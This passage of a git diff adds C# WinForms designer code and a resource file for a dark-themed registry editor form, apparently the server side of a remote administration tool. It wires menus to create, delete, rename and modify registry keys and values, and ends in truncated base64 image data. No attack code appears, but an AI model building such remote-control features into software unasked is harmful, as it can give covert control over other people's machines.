componentResourceManager.GetObject("imageRegistryDirectoryList.ImageStream"); + this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent; + this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png"); + this.imageRegistryKeyTypeList.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageRegistryKeyTypeList.ImageStream"); + this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent; + this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png"); + this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png"); + this.statusStrip.BackColor = System.Drawing.Color.FromArgb(18, 18, 18); + this.statusStrip.Dock = DockStyle.Fill; + this.statusStrip.ImageScalingSize = new Size(20, 20); + this.statusStrip.Items.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.selectedStripStatusLabel + }); + this.statusStrip.Location = new Point(0, 471); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Size = new Size(940, 22); + this.statusStrip.TabIndex = 1; + this.statusStrip.Text = "statusStrip"; + this.selectedStripStatusLabel.Name = "selectedStripStatusLabel"; + this.selectedStripStatusLabel.Size = new Size(0, 17); + this.tv_ContextMenuStrip.ImageScalingSize = new Size(20, 20); + this.tv_ContextMenuStrip.Items.AddRange(new ToolStripItem[3] + { + (ToolStripItem) this.newToolStripMenuItem, + (ToolStripItem) this.deleteToolStripMenuItem, + (ToolStripItem) this.renameToolStripMenuItem + }); + this.tv_ContextMenuStrip.Name = "contextMenuStrip"; + this.tv_ContextMenuStrip.Size = new Size(118, 70); + this.newToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.newToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[8] + { + (ToolStripItem) this.keyToolStripMenuItem, + (ToolStripItem) this.toolStripSeparator2, + (ToolStripItem) this.stringValueToolStripMenuItem, + (ToolStripItem) this.binaryValueToolStripMenuItem, + (ToolStripItem) this.dWORD32bitValueToolStripMenuItem, + (ToolStripItem) this.qWORD64bitValueToolStripMenuItem, + (ToolStripItem) this.multiStringValueToolStripMenuItem, + (ToolStripItem) this.expandableStringValueToolStripMenuItem + }); + this.newToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.newToolStripMenuItem.Name = "newToolStripMenuItem"; + this.newToolStripMenuItem.Size = new Size(180, 22); + this.newToolStripMenuItem.Text = "New"; + this.keyToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.keyToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.keyToolStripMenuItem.Name = "keyToolStripMenuItem"; + this.keyToolStripMenuItem.Size = new Size(200, 22); + this.keyToolStripMenuItem.Text = "Key"; + this.keyToolStripMenuItem.Click += new EventHandler(this.createNewRegistryKey_Click); + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new Size(197, 6); + this.stringValueToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.stringValueToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.stringValueToolStripMenuItem.Name = "stringValueToolStripMenuItem"; + this.stringValueToolStripMenuItem.Size = new Size(200, 22); + this.stringValueToolStripMenuItem.Text = "String Value"; + this.stringValueToolStripMenuItem.Click += new EventHandler(this.createStringRegistryValue_Click); + this.binaryValueToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.binaryValueToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.binaryValueToolStripMenuItem.Name = "binaryValueToolStripMenuItem"; + this.binaryValueToolStripMenuItem.Size = new Size(200, 22); + this.binaryValueToolStripMenuItem.Text = "Binary Value"; + this.binaryValueToolStripMenuItem.Click += new EventHandler(this.createBinaryRegistryValue_Click); + this.dWORD32bitValueToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.dWORD32bitValueToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.dWORD32bitValueToolStripMenuItem.Name = "dWORD32bitValueToolStripMenuItem"; + this.dWORD32bitValueToolStripMenuItem.Size = new Size(200, 22); + this.dWORD32bitValueToolStripMenuItem.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem.Click += new EventHandler(this.createDwordRegistryValue_Click); + this.qWORD64bitValueToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.qWORD64bitValueToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.qWORD64bitValueToolStripMenuItem.Name = "qWORD64bitValueToolStripMenuItem"; + this.qWORD64bitValueToolStripMenuItem.Size = new Size(200, 22); + this.qWORD64bitValueToolStripMenuItem.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem.Click += new EventHandler(this.createQwordRegistryValue_Click); + this.multiStringValueToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.multiStringValueToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.multiStringValueToolStripMenuItem.Name = "multiStringValueToolStripMenuItem"; + this.multiStringValueToolStripMenuItem.Size = new Size(200, 22); + this.multiStringValueToolStripMenuItem.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem.Click += new EventHandler(this.createMultiStringRegistryValue_Click); + this.expandableStringValueToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.expandableStringValueToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.expandableStringValueToolStripMenuItem.Name = "expandableStringValueToolStripMenuItem"; + this.expandableStringValueToolStripMenuItem.Size = new Size(200, 22); + this.expandableStringValueToolStripMenuItem.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem.Click += new EventHandler(this.createExpandStringRegistryValue_Click); + this.deleteToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.deleteToolStripMenuItem.Enabled = false; + this.deleteToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new Size(180, 22); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteRegistryKey_Click); + this.renameToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.renameToolStripMenuItem.Enabled = false; + this.renameToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; + this.renameToolStripMenuItem.Size = new Size(180, 22); + this.renameToolStripMenuItem.Text = "Rename"; + this.renameToolStripMenuItem.Click += new EventHandler(this.renameRegistryKey_Click); + this.selectedItem_ContextMenuStrip.BackColor = System.Drawing.Color.Black; + this.selectedItem_ContextMenuStrip.ImageScalingSize = new Size(20, 20); + this.selectedItem_ContextMenuStrip.Items.AddRange(new ToolStripItem[4] + { + (ToolStripItem) this.modifyToolStripMenuItem, + (ToolStripItem) this.modifyBinaryDataToolStripMenuItem, + (ToolStripItem) this.deleteToolStripMenuItem1, + (ToolStripItem) this.renameToolStripMenuItem1 + }); + this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip"; + this.selectedItem_ContextMenuStrip.Size = new Size(185, 114); + this.modifyToolStripMenuItem.BackColor = System.Drawing.Color.Black; + this.modifyToolStripMenuItem.Enabled = false; + this.modifyToolStripMenuItem.Font = new Font("Segoe UI", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); + this.modifyToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.modifyToolStripMenuItem.Name = "modifyToolStripMenuItem"; + this.modifyToolStripMenuItem.Size = new Size(184, 22); + this.modifyToolStripMenuItem.Text = "Modify..."; + this.modifyToolStripMenuItem.Click += new EventHandler(this.modifyRegistryValue_Click); + this.modifyBinaryDataToolStripMenuItem.BackColor = System.Drawing.Color.Black; + this.modifyBinaryDataToolStripMenuItem.Enabled = false; + this.modifyBinaryDataToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.modifyBinaryDataToolStripMenuItem.Name = "modifyBinaryDataToolStripMenuItem"; + this.modifyBinaryDataToolStripMenuItem.Size = new Size(184, 22); + this.modifyBinaryDataToolStripMenuItem.Text = "Modify Binary Data..."; + this.modifyBinaryDataToolStripMenuItem.Click += new EventHandler(this.modifyBinaryDataRegistryValue_Click); + this.deleteToolStripMenuItem1.BackColor = System.Drawing.Color.Black; + this.deleteToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1"; + this.deleteToolStripMenuItem1.Size = new Size(184, 22); + this.deleteToolStripMenuItem1.Text = "Delete"; + this.deleteToolStripMenuItem1.Click += new EventHandler(this.deleteRegistryValue_Click); + this.renameToolStripMenuItem1.BackColor = System.Drawing.Color.Black; + this.renameToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.renameToolStripMenuItem1.Name = "renameToolStripMenuItem1"; + this.renameToolStripMenuItem1.Size = new Size(184, 22); + this.renameToolStripMenuItem1.Text = "Rename"; + this.renameToolStripMenuItem1.Click += new EventHandler(this.renameRegistryValue_Click); + this.lst_ContextMenuStrip.ImageScalingSize = new Size(20, 20); + this.lst_ContextMenuStrip.Items.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.newToolStripMenuItem1 + }); + this.lst_ContextMenuStrip.Name = "lst_ContextMenuStrip"; + this.lst_ContextMenuStrip.Size = new Size(99, 26); + this.newToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.newToolStripMenuItem1.DropDownItems.AddRange(new ToolStripItem[8] + { + (ToolStripItem) this.keyToolStripMenuItem1, + (ToolStripItem) this.toolStripSeparator4, + (ToolStripItem) this.stringValueToolStripMenuItem1, + (ToolStripItem) this.binaryValueToolStripMenuItem1, + (ToolStripItem) this.dWORD32bitValueToolStripMenuItem1, + (ToolStripItem) this.qWORD64bitValueToolStripMenuItem1, + (ToolStripItem) this.multiStringValueToolStripMenuItem1, + (ToolStripItem) this.expandableStringValueToolStripMenuItem1 + }); + this.newToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.newToolStripMenuItem1.Name = "newToolStripMenuItem1"; + this.newToolStripMenuItem1.Size = new Size(98, 22); + this.newToolStripMenuItem1.Text = "New"; + this.keyToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.keyToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.keyToolStripMenuItem1.Name = "keyToolStripMenuItem1"; + this.keyToolStripMenuItem1.Size = new Size(200, 22); + this.keyToolStripMenuItem1.Text = "Key"; + this.keyToolStripMenuItem1.Click += new EventHandler(this.createNewRegistryKey_Click); + this.toolStripSeparator4.Name = "toolStripSeparator4"; + this.toolStripSeparator4.Size = new Size(197, 6); + this.stringValueToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.stringValueToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.stringValueToolStripMenuItem1.Name = "stringValueToolStripMenuItem1"; + this.stringValueToolStripMenuItem1.Size = new Size(200, 22); + this.stringValueToolStripMenuItem1.Text = "String Value"; + this.stringValueToolStripMenuItem1.Click += new EventHandler(this.createStringRegistryValue_Click); + this.binaryValueToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.binaryValueToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.binaryValueToolStripMenuItem1.Name = "binaryValueToolStripMenuItem1"; + this.binaryValueToolStripMenuItem1.Size = new Size(200, 22); + this.binaryValueToolStripMenuItem1.Text = "Binary Value"; + this.binaryValueToolStripMenuItem1.Click += new EventHandler(this.createBinaryRegistryValue_Click); + this.dWORD32bitValueToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.dWORD32bitValueToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.dWORD32bitValueToolStripMenuItem1.Name = "dWORD32bitValueToolStripMenuItem1"; + this.dWORD32bitValueToolStripMenuItem1.Size = new Size(200, 22); + this.dWORD32bitValueToolStripMenuItem1.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem1.Click += new EventHandler(this.createDwordRegistryValue_Click); + this.qWORD64bitValueToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.qWORD64bitValueToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.qWORD64bitValueToolStripMenuItem1.Name = "qWORD64bitValueToolStripMenuItem1"; + this.qWORD64bitValueToolStripMenuItem1.Size = new Size(200, 22); + this.qWORD64bitValueToolStripMenuItem1.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem1.Click += new EventHandler(this.createQwordRegistryValue_Click); + this.multiStringValueToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.multiStringValueToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.multiStringValueToolStripMenuItem1.Name = "multiStringValueToolStripMenuItem1"; + this.multiStringValueToolStripMenuItem1.Size = new Size(200, 22); + this.multiStringValueToolStripMenuItem1.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem1.Click += new EventHandler(this.createMultiStringRegistryValue_Click); + this.expandableStringValueToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.expandableStringValueToolStripMenuItem1.ForeColor = System.Drawing.Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.expandableStringValueToolStripMenuItem1.Name = "expandableStringValueToolStripMenuItem1"; + this.expandableStringValueToolStripMenuItem1.Size = new Size(200, 22); + this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem1.Click += new EventHandler(this.createExpandStringRegistryValue_Click); + this.timer1.Interval = 2000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.tvRegistryDirectory.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.tvRegistryDirectory.Dock = DockStyle.Fill; + this.tvRegistryDirectory.ForeColor = System.Drawing.Color.Yellow; + this.tvRegistryDirectory.HideSelection = false; + this.tvRegistryDirectory.ImageIndex = 0; + this.tvRegistryDirectory.ImageList = this.imageRegistryDirectoryList; + this.tvRegistryDirectory.Location = new Point(0, 0); + this.tvRegistryDirectory.Name = "tvRegistryDirectory"; + this.tvRegistryDirectory.SelectedImageIndex = 0; + this.tvRegistryDirectory.Size = new Size(309, 465); + this.tvRegistryDirectory.TabIndex = 0; + this.tvRegistryDirectory.AfterLabelEdit += new NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); + this.tvRegistryDirectory.BeforeExpand += new TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); + this.tvRegistryDirectory.BeforeSelect += new TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeSelect); + this.tvRegistryDirectory.NodeMouseClick += new TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); + this.tvRegistryDirectory.KeyUp += new KeyEventHandler(this.tvRegistryDirectory_KeyUp); + this.lstRegistryValues.BackColor = System.Drawing.Color.FromArgb(17, 17, 17); + this.lstRegistryValues.Columns.AddRange(new ColumnHeader[3] + { + this.hName, + this.hType, + this.hValue + }); + this.lstRegistryValues.Dock = DockStyle.Fill; + this.lstRegistryValues.ForeColor = System.Drawing.Color.Aqua; + this.lstRegistryValues.FullRowSelect = true; + this.lstRegistryValues.HeaderStyle = ColumnHeaderStyle.Nonclickable; + this.lstRegistryValues.HideSelection = false; + this.lstRegistryValues.Location = new Point(0, 0); + this.lstRegistryValues.Name = "lstRegistryValues"; + this.lstRegistryValues.Size = new Size(621, 465); + this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList; + this.lstRegistryValues.TabIndex = 0; + this.lstRegistryValues.UseCompatibleStateImageBehavior = false; + this.lstRegistryValues.View = View.Details; + this.lstRegistryValues.AfterLabelEdit += new LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); + this.lstRegistryValues.KeyUp += new KeyEventHandler(this.lstRegistryKeys_KeyUp); + this.lstRegistryValues.MouseUp += new MouseEventHandler(this.lstRegistryKeys_MouseClick); + this.hName.Text = "Name"; + this.hName.Width = 173; + this.hType.Text = "Type"; + this.hType.Width = 104; + this.hValue.Text = "Value"; + this.hValue.Width = 214; + this.AutoScaleDimensions = new SizeF(96f, 96f); + this.AutoScaleMode = AutoScaleMode.Dpi; + this.ClientSize = new Size(972, 569); + this.Controls.Add((Control) this.tableLayoutPanel); + this.Font = new Font("Segoe UI", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); + this.ForeColor = System.Drawing.Color.Black; + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormRegedit); + this.Padding = new Padding(16 /*0x10*/, 60, 16 /*0x10*/, 16 /*0x10*/); + this.Style = MetroColorStyle.Lime; + this.Text = "Реестр редактор"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.FormClosed += new FormClosedEventHandler(this.FormRegistryEditor_FormClosed); + this.Load += new EventHandler(this.FrmRegistryEditor_Load); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.splitContainer.Panel1.ResumeLayout(false); + this.splitContainer.Panel2.ResumeLayout(false); + this.splitContainer.EndInit(); + this.splitContainer.ResumeLayout(false); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.tv_ContextMenuStrip.ResumeLayout(false); + this.selectedItem_ContextMenuStrip.ResumeLayout(false); + this.lst_ContextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormRegedit.resx b/Server/Server/Forms/FormRegedit.resx new file mode 100644 index 0000000..5044fe1 --- /dev/null +++ b/Server/Server/Forms/FormRegedit.resx @@ -0,0 +1,129 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABkCQAAAk1TRnQBSQFMAgEBAgEAAQgBBQEIAQUBEAEAARABAAT/AQkBEAj/AUIBTQE2AQQGAAE2AQQCAAEoAwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHAAQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMAAWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFmAZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHMAWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEAATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEzAWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZAWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLMAQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEAAWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEAAWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZAWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEAAZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFmATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZAf8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEzAQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEAAcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHMAWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHMApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHMAf8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEAAcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHMAmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZAcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEzAQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFmAQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHwAfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0EAA+8DAATvAwAG7wMABO8DAAPvIAAB7wL/A+8E/wPvAv8C7wL/A+8E/wPvAv8B7yAAAe8O/wLvDv8B7yAAAQcD/wH0Bf8B9AT/Ae8BBwL/AawC/wHVAf8CrAEZAf8BrAL/Ae8gAAHwAf8BvQL5AeMBRwH/AUcBFwL5AZQC/wHvAfAC/wGsAv8B1QH/AdUB9AHZAf8BrAL/Ae8gAAHwAf8BFgHjAf8BlAFHAf8BRwGUAv8B+QL/Ae8B8AL/AawB/wH0AdUB/wGsARkB2QEZAawC/wHvIAAB8AH/Ab0B+QIWARcB/wFHAb0C/wEXAb0B/wHvAfAB/wHTAawB/wHTAawB/wHVAawB/wHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAC/wEXAb0B4wEWAf8BRwH5Ab0BlAEXAv8B7wHwAv8BrAH/AqwBGQH/AdMB/wHTAawC/wHvIAAB8AH0Af8BvQKUAv8BRwG9ApQD/wHvAfAB9AH/AawB/wGsAf8BrAH/AdMBGQHVARkB1QH/Ae8gAAHwAfQG/wFHAb0B/wXvAfAB9AH/AawB/wGsAf8B1QEZAdMB9AXvIAAB8AL0Bf8BRwG9Af8B7wHxAfMB9AHvAfAB9AHTAawB/wHcAawBGQHVAawB/wHvAfEB8wH0Ae8gAAHwAfMC9Af/Ae8B8wH0Ae8BAAHwAfMC9Af/Ae8B8wH0Ae8hAAHwAfEB8wP0Bf8B7wH0Ae8CAAHwAfEB8wP0Bf8B7wH0Ae8iAAXwBQcD7wMABfAFBwPvIwABQgFNAT4HAAE+AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAEcATgBHAE4XQABAQEAAQEFAAEDAQABAwUAAQcBAAEHGgAL + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAMFhAAACAAABAAEAAAAAAAEAIACrYQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAYXJJREFUeNrtnXeYXVXV/z9r73Num5qZTHojoYTeewsaikrxtaGv9bWLBQELihXEFwRURAGx/1BfFKWIImDAAFJC7yUE0uuUTL/3nrLX7487E5IQkrkzkyEzc+7zzAOZ+dxz9l57fU/Ze+21ZO7cOWkgAHTevPnMnTuHjT4CZAALhAmXcAk3MrgNwNy5cwRQXvsRIA14QAQUEy7hEm5kcSYxQsIl3OjlBNjSY0NirIRLuJHPpSQRf8Il3OjlTGKEhEu4UcvFXmKEhEu40cuZxAgJl3Cjl/N4dZ0wMVbCJdwo47xE/KOTazzwDDJNz/PuX32bOw/Z2ccY43esDB6+uDMYd//fcDaFKoR4TH3gAhCT2G8Ech4bRQglxhrZ3Pp9/gdXMYmYGFzIi1/8FtcjdZrK1UbZhlxUMdaOfeiOSL10B6qdzrn2jClG919xN0d+7qi0Gj+x8wji5s2bn0QCjg5Ode3Bn0e8KlQUUVOhGu5nXPhm0IMRb5YarxYR23PMArAKeAZ193udax+sff7PKytWPlAMq6aEzkurS1Uldh4B3OZxAImxRhgncVHXHHMhaBHUZER0LqofxUXHCFqvYsDYnq9u/lFwcSguXgx6I8b7jQ3iF8OMj8Wj8tEfkikWEjsnkYAJtyNyJuzStUddgFpFkZ0EvoLq+9C4RtTRB/GzgRMLIk8reqmK+7NRrzDjL6fRPemwZDyGcSSgScQ/QsUfFXTNkd8jygqKHCZwLaqf7pf4je29V+wtyM9E7XedUPuP2/Ik4zGsOd/OnDkjMdZI49TpqsPOx2ZDJJAjRbgG9CB0M1H3VfybcimBQ0W1dtrtNz2SW/VwpF4mTsZjWHJx7wUgMdYI4tr3+ySaTqFqdkP4Oej+2xB1X8Xfyxk03s+lqhT0PzNv/nN357QJqPGS8Rhuc0Q9qwCJsUYIt+6Az+LSVaBUGcNVoO8fZPFvxEkrmI8ZF98Q+R4T7vtBMh7DjDOUIgETY40QLvay+J7BGP0vVN+x/cRvQLxajD0n9vxJokLTQZ9PxmOYcYYkEnDEcM0Hfx7jeYSxa0D5OBpnt5v4X50YPFSUd8aeIdP0QjIew4wzlCIBE2ONAE7SWcRFGI2PRaODtqv4X+UsIu+xIXUP/uLrJOMxvCIBDUkY8IjhtKMJ29WYEhedJKrZIRB/72dvIdr/HTPET8Zj+HBz585JcgKOJO7xSz+IjfITUD10CMUPqjUShUcW6yd7qCbjMYw4s3GK4MRYw5s7da+qlPOz09TYCUMmfhQ0BnS31tnv9ib85+5kPIYPl0QCjiTO2bR1qarxiJcZMvH3csZO6Jx+jH36rOuT8RhGkYBeYoSRw1Uuby44P5dGxBtS8Zf2ClQ461vRZDyGERebxAgjh3vk+02RitEhF3/vkmAi/uHGFZKcgCOIq1j5IAIdPf8eOvGXuA6ESCUZj+HEJZGAI4jricVfBeSHWPwAq0TJ+90tyXgkkYAJ94Zw